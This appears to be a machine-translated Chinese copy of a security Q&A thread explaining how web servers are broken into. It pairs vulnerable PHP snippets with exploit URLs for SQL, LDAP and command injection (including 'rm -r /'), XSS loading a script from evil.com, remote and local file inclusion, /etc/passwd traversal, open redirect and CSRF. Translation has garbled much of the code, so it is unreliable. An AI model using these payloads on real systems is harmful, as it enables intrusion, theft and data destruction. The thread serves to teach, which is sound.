我專門談論運行Unix的Web服務器。我一直對黑客如何獲得切入點感到好奇。我的意思是,當他們進入服務器的唯一輸入方法是URL時,我看不到黑客如何入侵該網頁。我一定會錯過一些東西,因為我看不到黑客如何僅通過更改URL就可以訪問服務器。
所謂入口點是指訪問點。黑客進入服務器的方式。
我能否舉一個黑客如何進入Web服務器的入口示例?任何C語言語言是可以接受的。我絕對沒有黑客經驗
一個簡單的例子將不勝感激。
我專門談論運行Unix的Web服務器。我一直對黑客如何獲得切入點感到好奇。我的意思是,當他們進入服務器的唯一輸入方法是URL時,我看不到黑客如何入侵該網頁。我一定會錯過一些東西,因為我看不到黑客如何僅通過更改URL就可以訪問服務器。
所謂入口點是指訪問點。黑客進入服務器的方式。
我能否舉一個黑客如何進入Web服務器的入口示例?任何C語言語言是可以接受的。我絕對沒有黑客經驗
一個簡單的例子將不勝感激。
代碼:
$ username = $ _POST [ 'username']; $ pw = $ _GET ['password']; mysql_query(“ SELECT * FROM userTable WHERE username = $ username AND password = $ pw”);
漏洞利用(在不知道密碼的情況下以管理員身份登錄):
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGetexample.com/?username=Administrator&password=password'或1 = 1- -
代碼:
$ nickname = $ _GET ['暱稱'];回顯“ <div>您的暱稱是$ nickname< / div> \ n”;
利用(註冊商以 BeEF中的殭屍):
example.com/?nickname=Karraxexample.com/?nickname=<script src =“ evil.com/beefmagic.js.php” / >
代碼(以泰勒為例):
<? include($ _ GET [“ module”]。“。php”); ?>
利用(下載並運行任意代碼):
example.com/?module=frontpageexample.com/ ?module = pastebin.com / mymaliciousscript
代碼:
<?phpecho shell_exec('cat'。$ _ GET ['filename']);? >
利用(嘗試從根目錄中刪除所有文件):
example.com/?filename=readme.txtexample.com/?filename=readme.txt;rm -r /
代碼:
<?php $ myvar =“ varname”; $ x = $ _GET ['arg']; eval (“ \ $ myvar = \ $ x;”);? >
利用漏洞(注入phpinfo()命令,該命令在屏幕上顯示非常有用的攻擊信息):
example.com/?arg=1example.com/?arg = 1; phpinfo()
代碼:
<?php $ username = $ _GET ['username']; $ password = $ _GET ['password']; ldap_query(“((&(cn = $ username)(password = $ password)”)?>
利用漏洞(登錄時不知道管理員密碼):
example.com/?username=admin&password=adminadminexample.com/?username=admin&password = *
代碼:
<?phpinclude(“ ./” 。$ _GET ['page']);? >
利用(獲取/ etc / passwd):
示例.com /?page = front.phpexample.com /?page = .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd
代碼:
<?php $ redirectUrl = $ _GET ['url'] ; header(“ Location:$ redirectUrl”);?>
利用(將用戶從您的頁面發送到邪惡p年齡):
example.com/?url=example.com/faq.phpexample.com/?url=evil.com/sploitCode.php
代碼:
不適用。缺少.htaccess ACL或類似的訪問控制。允許用戶猜測或通過其他方式發現只能在登錄時訪問的內容的位置。
利用:
example.com/users/showUser.phpexample.com/admins/editUser.php
代碼:
不適用。代碼缺少頁面對頁面的機密,無法驗證來自當前站點的請求。實現在頁面之間傳輸和驗證的機密。
利用:
法律:example.com/app/transferFunds?amount = 1500&destinationAccount = 4673243243在邪惡頁面上:<img src =“ http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#” width =“ 0“ height =” 0“ / >
code:
不適用。網絡服務器代碼本身存在漏洞。標準緩衝區溢出
漏洞利用(Metasploit + meterpreter?):
http ://www.exploit-db.com/exploits/16798/
(當前)最常見的方式是通過PHP應用程序中的漏洞。可以通過多種方法來實現此目的,但這是一種簡單易用的方法:
想像一下,毫無戒心的網站所有者決定在其代碼中使用快捷方式,例如 http:// example。 com / site.php?module = xyz
實際上首先加載一些模板shell,然後運行“ xyz.php”以填充內容。所以也許他寫這樣的東西:
<h1>我的真棒CMS< / h1><? include($ _ GET [“ module”]。“。php”); ?><p>看看我在那裡做什麼?哇,那太聰明了。</ p>
然後,黑客使用以下URL訪問該網站:
http://example.com/site.php?module= http://malicio.us/evilprogram
現在,PHP不再加載本地腳本,而是下載並下載了 http://malicio.us/evilprogram.php
並執行它-運行攻擊者想要的任何PHP代碼。也許發送垃圾郵件,也許安裝後門外殼,也許在配置文件中搜索密碼。
字面上有數以千計的黑客入侵站點的方法,每種方法都非常新穎。幾乎在所有情況下,他們都涉及一個程序員,他們沒有考慮過程序的所有可能輸入以及他們可能產生的意外影響。
有兩種查看方式,您可以專注於服務器本身,也可以專注於服務器正在運行的Web應用程序。
作為服務器,它可以具有開放端口來運行服務您可以連接到服務器並獲得對服務器的訪問權限。通過使用已知漏洞,您可以獲取root用戶訪問權限。例如,某些用於Unix的FTP服務器具有可由 Metasploit之類的工具利用以獲取根shell的漏洞。
作為應用程序,存在太多的利用方法。編寫或配置不當的應用程序。例如,如果將SQL查詢作為GET傳遞,則實際上可以操縱URL本身以執行 SQL注入攻擊和 dump整個數據庫。例如(取決於站點的編碼): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT用戶名,密碼(來自用戶)
同樣,您涉及到一個廣泛的主題,希望這些可以幫助您集中精力進行下一步。
這可能不是正確的問題。
他們對人與人的互動比與計算機的互動更感興趣。
...並且知道該知識是功率。黑客對獲取信用卡號碼的興趣比對他實際使用的興趣更大。
...不是原因。這就是為什麼許多黑客會利用以道德為導向的政治事件進行公開的原因。他們知道他們可以用道德來為公眾的行為辯解。
大多數時候。只是在不考慮隱身或匿名的情況下直接跳進去的Wannabe黑客在黑客社區中被稱為“腳本小子”或“滑子”。很有可能比黑客更多,而且很可能是最大的麻煩。
前端您提供的可能就足夠了。
您可以保護自己免受Metasploit中的攻擊。黑客會徑直走進前門-即使不是真的,也只是字面上的意思。
看到人們如何不喜歡我的答案給予,就足夠了,我會根據您想要的內容再給您一些東西。
駭客喜歡保持匿名。任何攻擊的第一步都是將一系列代理(例如SOCKS代理,殭屍或只是構成殭屍網絡的簡單殭屍)串聯在一起。有幾種解決方法,但是為了討論起見,我們讓一些死的代理。轉到 pastebin.com並蒐索 8080
。這是Web代理的常見端口。向下滾動結果,直到找到IP地址列表,然後單擊以查看結果。您應該擁有一長串的Web代理。我可以保證,即使不是全部,大多數也會死。抱歉,這不是黑客教程。
下一步是收集有關目標的看似瑣碎的信息。黑客使用他的代理運行portcans,然後探查他發現的任何服務。有網站嗎?讓我們來探索它。有一個MySQL服務器?讓我們看看它是什麼版本。運行SSH?讓我們看看它是否接受文本密碼或僅限於證書。
然後,黑客坐下來,查看他所收集的內容,並確定係統的最弱點。根據系統的大小,他可能會回頭再進行更多的探查,如果有更多的探查,並且他覺得自己還沒有獲得足夠好的弱點。弱點不必一定是真正的安全“漏洞”:它必須是最弱的環節。也許您的FTP服務器無法防止重擊(重複登錄嘗試)。也許您的Web服務器上有一堆表格或可能被利用的URL。這些值得進一步研究。
如果有必要,攻擊者可能會編寫腳本或程序來執行最終攻擊,儘管並非總是如此。大多數弱點都可以利用現有工具加以利用,因此對於現代黑客而言,這通常是不必要的。但是,有時黑客會在軟件中發現新的安全漏洞,在這種情況下,他們有時需要編寫特殊的工具來利用該軟件。
一個顯而易見的攻擊程序的一個很好的例子是,該程序用於在名為Terraria的遊戲上導致服務器故障。這不是其最初的目的,但是由於它確實暴露了服務器軟件中的各種漏洞,因此它確實傾向於被其他人使用。我用C#編寫的。源代碼可在 GitHub上獲得。該漏洞利用字節碼操作來修改現有客戶端以發送惡意數據。服務器不希望該數據,並且會以其無法正常工作的方式做出反應。發現這樣的漏洞利用程序可以像對目標軟件進行反向工程一樣簡單-我之所以說很簡單,是因為對於現代反射語言(例如C#和Java)來說,這已變得越來越容易。諸如.NET Reflector(收費)和dotPeek(暫時免費)之類的程序,只需單擊一下按鈕,便可以實現。然後,受過充分訓練的C#程序員可以觀察代碼,確定其功能,並編寫程序來更改此功能。
我的一個朋友簽訂了一份在現場工作的合同。在他這樣做的同時,他發現黑客進入了網站並做了他不喜歡的事情。在查看了一些日誌文件後,他注意到“黑客”通過谷歌搜索mysql錯誤找到了該站點。
當您能夠注入sql時,您可以做任何想做的事情,例如創建一個帳戶。如果可以上傳文件(尤其是php),則可以執行它。如果可以執行,即使您在linux / windows服務器上沒有帳戶,也可能造成更大的破壞,例如在服務器文件系統上讀取/寫入文件。
另一種技術正在侵入數據庫,著眼於密碼(特別是如果不進行散列),而不是嘗試建立到該站點相同ip地址的ssh或ftp連接並嘗試使用用戶名/密碼組合。
此外,您也無需闖入服務器被黑客入侵。我遇到的一個人告訴我一個故事,他的服務器上如何安裝過時的軟件。攻擊者使用它上載並執行自己的PHP文件,該文件向每個index.php和index.html文件中註入了一行代碼(以添加iframe)。基本上沒有人能夠訪問該站點。它要么重定向,要么彈出很多對話框。
我們有多少次沒有密碼或“ Joes”的登錄信息?不需要Metasploit知識或任何真正具有異國情調的知識就可以進入前門。有點像在寒冷的早晨坐在車道上的行駛中的汽車“請偷走我”。
還有幾個示例供您考慮。
下面是tylerl的示例:
<?php if(isset($ _GET ['id'] ))include($ _GET ['id']。“ .php”);? >
攻擊向量:
http:// victimsite。 com /?id = php://filter/read=convert.base64-encode/resource=includes/configure
由於缺乏任何安全編碼,這是一個包含base64攻擊的本地文件,攻擊者幾乎可以讀取站點或服務器上所有以[.php]結尾的文件,在這種情況下,讀取configure.php文件的文件內容,PHP返回整個文件內容的base64_encode,可以輕鬆地對其進行解碼回到可讀文本。
格式錯誤的URL不必尋求輸入安全性驗證漏洞。
在許多網站上,$ PHP_SELF代碼會誤報文件名yoursite.com /admin/administrators.php,$PHP_SELF將文件名報告為administrators.php,但是如果將login.php附加為admin / adm inistrators.php / login.php,然後$ PHP_SELF誤將login.php作為文件名而不是administrators.php。
例如,如果在這個令人振奮的示例中詢問了管理會話驗證問題:
*如果(不是有效的管理會話)和($ PHP_SELF不是= to login.php)然後重定向到login.php *
該頁面永遠不會重定向到登錄名.php,因為$ PHP_SELF錯誤地報告了真實的文件名,因此,攻擊者無需使用正確的憑據即可訪問administrators.php文件。